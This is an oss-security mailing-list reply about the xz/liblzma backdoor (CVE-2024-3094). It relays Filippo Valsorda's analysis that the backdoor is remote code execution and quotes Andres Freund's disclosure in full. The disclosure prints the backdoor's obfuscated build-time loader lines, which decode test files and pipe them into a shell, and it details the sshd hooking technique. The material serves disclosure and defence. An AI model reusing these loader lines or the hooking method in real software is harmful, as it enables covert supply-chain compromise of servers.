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Date: Sun, 31 Mar 2024 03:45:58 +0800
From: "Alexander E. Patrakov" <patrakov@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: backdoor in upstream xz/liblzma leading to ssh
server compromise
Let me reshare one more piece of information: this backdoor is an RCE,
not an authentication bypass.
https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b
Copy-pasting all the text written by Filippo Valsorda from there below.
=====
Filippo Valsorda
@filippo.abyssdomain.expert
I'm watching some folks reverse engineer the xz backdoor, sharing some
*preliminary* analysis with permission. The hooked RSA_public_decrypt
verifies a signature on the server's host key by a fixed Ed448 key,
and then passes a payload to system(). It's RCE, not auth bypass, and
gated/unreplayable.
This might be the best executed supply chain attack we've seen
described in the open, and it's a nightmare scenario: malicious,
competent, authorized upstream in a widely used library. Looks like
this got caught by chance. Wonder how long it would have taken
otherwise.
The payload is extracted from the N value (the public key) passed to
RSA_public_decrypt, checked against a simple fingerprint, and
decrypted with a fixed ChaCha20 key before the Ed448 signature
verification.
RSA_public_decrypt is a (weirdly named) signature verification
function. https://www.openssl.org/docs/manmaster/man3/RSA_public_decrypt.html
(Why "decrypt"? RSA sig verification is the same op of RSA encryption.
🤷♂️)
The RSA_public_decrypt public key can be attacker-controlled pre-auth
by using OpenSSH certificates. OpenSSH certs are weird in that they
include the signer's public key. OpenSSH checks the signature on
parsing. https://github.com/openssh/openssh-portable/blob/281ea25a44bff53eefb4af7bab7aa670b1f8b6b2/PROTOCOL.certkeys#L207-L219
Here's a script by Keegan Ryan for sending a custom public key in a
certificate, which on a backdoored system will reach the hooked
function. https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
Apparently the backdoor reverts back to regular operation if the
payload is malformed or the signature from the attacker's key doesn't
verify. Unfortunately, this means that unless a bug is found, we can't
write a reliable/reusable over-the-network scanner.
On Sat, Mar 30, 2024 at 12:09 AM Andres Freund <andres@...razel.de> wrote:
>
> Hi,
>
> After observing a few odd symptoms around liblzma (part of the xz package) on
> Debian sid installations over the last weeks (logins with ssh taking a lot of
> CPU, valgrind errors) I figured out the answer:
>
> The upstream xz repository and the xz tarballs have been backdoored.
>
> At first I thought this was a compromise of debian's package, but it turns out
> to be upstream.
>
>
> == Compromised Release Tarball ==
>
> One portion of the backdoor is *solely in the distributed tarballs*. For
> easier reference, here's a link to debian's import of the tarball, but it is
> also present in the tarballs for 5.6.0 and 5.6.1:
>
> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>
> That line is *not* in the upstream source of build-to-host, nor is
> build-to-host used by xz in git. However, it is present in the tarballs
> released upstream, except for the "source code" links, which I think github
> generates directly from the repository contents:
>
> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>
>
> This injects an obfuscated script to be executed at the end of configure. This
> script is fairly obfuscated and data from "test" .xz files in the repository.
>
>
> This script is executed and, if some preconditions match, modifies
> $builddir/src/liblzma/Makefile to contain
>
> am__test = bad-3-corrupt_lzma2.xz
> ...
> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
> ...
> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>
>
> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> ####Hello####
> #��Z�.hj�
> eval `grep ^srcdir= config.status`
> if test -f ../../config.status;then
> eval `grep ^srcdir= ../../config.status`
> srcdir="../../$srcdir"
> fi
> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
> ####World####
>
> After de-obfuscation this leads to the attached injected.txt.
>
>
> == Compromised Repository ==
>
> The files containing the bulk of the exploit are in an obfuscated form in
> tests/files/bad-3-corrupt_lzma2.xz
> tests/files/good-large_compressed.lzma
> committed upstream. They were initially added in
> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>
> Note that the files were not even used for any "tests" in 5.6.0.
>
>
> Subsequently the injected code (more about that below) caused valgrind errors
> and crashes in some configurations, due the stack layout differing from what
> the backdoor was expecting. These issues were attempted to be worked around
> in 5.6.1:
>
> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
>
> For which the exploit code was then adjusted:
> https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89
>
> Given the activity over several weeks, the committer is either directly
> involved or there was some quite severe compromise of their
> system. Unfortunately the latter looks like the less likely explanation, given
> they communicated on various lists about the "fixes" mentioned above.
>
>
> Florian Weimer first extracted the injected code in isolation, also attached,
> liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!
>
>
> == Affected Systems ==
>
> The attached de-obfuscated script is invoked first after configure, where it
> decides whether to modify the build process to inject the code.
>
> These conditions include targeting only x86-64 linux:
> if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
>
> Building with gcc and the gnu linker
> if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
> exit 0
> fi
> if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
> exit 0
> fi
> LDv=$LD" -v"
> if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
> exit 0
>
> Running as part of a debian or RPM package build:
> if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
>
> Particularly the latter is likely aimed at making it harder to reproduce the
> issue for investigators.
>
>
> Due to the working of the injected code (see below), it is likely the backdoor
> can only work on glibc based systems.
>
>
> Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
> distributions, and where they have, mostly in pre-release versions.
>
>
> == Observing Impact on openssh server ==
>
> With the backdoored liblzma installed, logins via ssh become a lot slower.
>
> time ssh nonexistant@...alhost
>
> before:
> nonexistant@...alhost: Permission denied (publickey).
>
> before:
> real 0m0.299s
> user 0m0.202s
> sys 0m0.006s
>
> after:
> nonexistant@...alhost: Permission denied (publickey).
>
> real 0m0.807s
> user 0m0.202s
> sys 0m0.006s
>
>
> openssh does not directly use liblzma. However debian and several other
> distributions patch openssh to support systemd notification, and libsystemd
> does depend on lzma.
>
>
> Initially starting sshd outside of systemd did not show the slowdown, despite
> the backdoor briefly getting invoked. This appears to be part of some
> countermeasures to make analysis harder.
>
> Observed requirements for the exploit:
> a) TERM environment variable is not set
> b) argv[0] needs to be /usr/sbin/sshd
> c) LD_DEBUG, LD_PROFILE are not set
> d) LANG needs to be set
> e) Some debugging environments, like rr, appear to be detected. Plain gdb
> appears to be detected in some situations, but not others
>
> To reproduce outside of systemd, the server can be started with a clear
> environment, setting only the required variable:
>
> env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D
>
>
> In fact, openssh does not need to be started as a server to observe the
> slowdown:
>
> slow:
> env -i LANG=C /usr/sbin/sshd -h
>
> (about 0.5s on my older system)
>
>
> fast:
> env -i LANG=C TERM=foo /usr/sbin/sshd -h
> env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
> ...
>
> (about 0.01s on the same system)
>
>
> It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
> are obviously lots of servers linking to libsystemd.
>
>
> == Analyzing the injected code ==
>
> I am *not* a security researcher, nor a reverse engineer. There's lots of
> stuff I have not analyzed and most of what I observed is purely from
> observation rather than exhaustively analyzing the backdoor code.
>
> To analyze I primarily used "perf record -e intel_pt//ub" to observe where
> execution diverges between the backdoor being active and not. Then also gdb,
> setting breakpoints before the divergence.
>
>
> The backdoor initially intercepts execution by replacing the ifunc resolvers
> crc32_resolve(), crc64_resolve() with different code, which calls
> _get_cpuid(), injected into the code (which previously would just be static
> inline functions). In xz 5.6.1 the backdoor was further obfuscated, removing
> symbol names.
>
> These functions get resolved during startup, because sshd is built with
> -Wl,-z,now, leading to all symbols being resolved early. If started with
> LD_BIND_NOT=1 the backdoor does not appear to work.
>
>
> Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
> 'completed' variable is 0 and increments it, returning the normal cpuid result
> (via a new _cpuid()). It gets to be more interesting during crc64_resolve().
>
> In the second invocation crc64_resolve() appears to find various information,
> like data from the dynamic linker, program arguments and environment. Then it
> perform various environment checks, including those above. There are other
> checks I have not fully traced.
>
> If the above decides to continue, the code appears to be parsing the symbol
> tables in memory. This is the quite slow step that made me look into the issue.
>
>
> Notably liblzma's symbols are resolved before many of the other libraries,
> including the symbols in the main sshd binary. This is important because
> symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.
>
>
> To be able to resolve symbols in libraries that have not yet loaded, the
> backdoor installs an audit hook into the dynamic linker, which can be observed
> with gdb using
> watch _rtld_global_ro._dl_naudit
> It looks like the audit hook is only installed for the main binary.
>
> That hook gets called, from _dl_audit_symbind, for numerous symbols in the
> main binary. It appears to wait for "RSA_public_decrypt@....plt" to be
> resolved. When called for that symbol, the backdoor changes the value of
> RSA_public_decrypt@....plt to point to its own code. It does not do this via
> the audit hook mechanism, but outside of it.
>
> For reasons I do not yet understand, it does change sym.st_value *and* the
> return value of from the audit hook to a different value, which leads
> _dl_audit_symbind() to do nothing - why change anything at all then?
>
> After that the audit hook is uninstalled again.
>
> It is possible to change the got.plt contents at this stage because it has not
> (and can't yet) been remapped to be read-only.
>
>
> I suspect there might be further changes performed at this stage.
>
>
> == Impact on sshd ==
>
> The prior section explains that RSA_public_decrypt@....plt was redirected to
> point into the backdoor code. The trace I was analyzing indeed shows that
> during a pubkey login the exploit code is invoked:
>
> sshd 1736357 [010] 714318.734008: 1 branches:uH: 5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) => 5555555612d0 RSA_public_decrypt@...+0x0 (/usr/sbin/sshd)
>
> The backdoor then calls back into libcrypto, presumably to perform normal authentication
>
> sshd 1736357 [010] 714318.734009: 1 branches:uH: 7ffff7c137cd [unknown] (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0 RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)
>
>
> I have not yet analyzed precisely what is being checked for in the injected
> code, to allow unauthorized access. Since this is running in a
> pre-authentication context, it seems likely to allow some form of access or
> other form of remote code execution.
>
> I'd upgrade any potentially vulnerable system ASAP.
>
>
> == Bug reports ==
>
> Given the apparent upstream involvement I have not reported an upstream
> bug. As I initially thought it was a debian specific issue, I sent a more
> preliminary report to security@...ian.org. Subsequently I reported the issue
> to distros@. CISA was notified by a distribution.
>
> Red Hat assigned this issue CVE-2024-3094.
>
>
> == Detecting if installation is vulnerable ==
>
> Vegard Nossum wrote a script to detect if it's likely that the ssh binary on a
> system is vulnerable, attached here. Thanks!
>
>
> Greetings,
>
> Andres Freund
--
Alexander E. Patrakov
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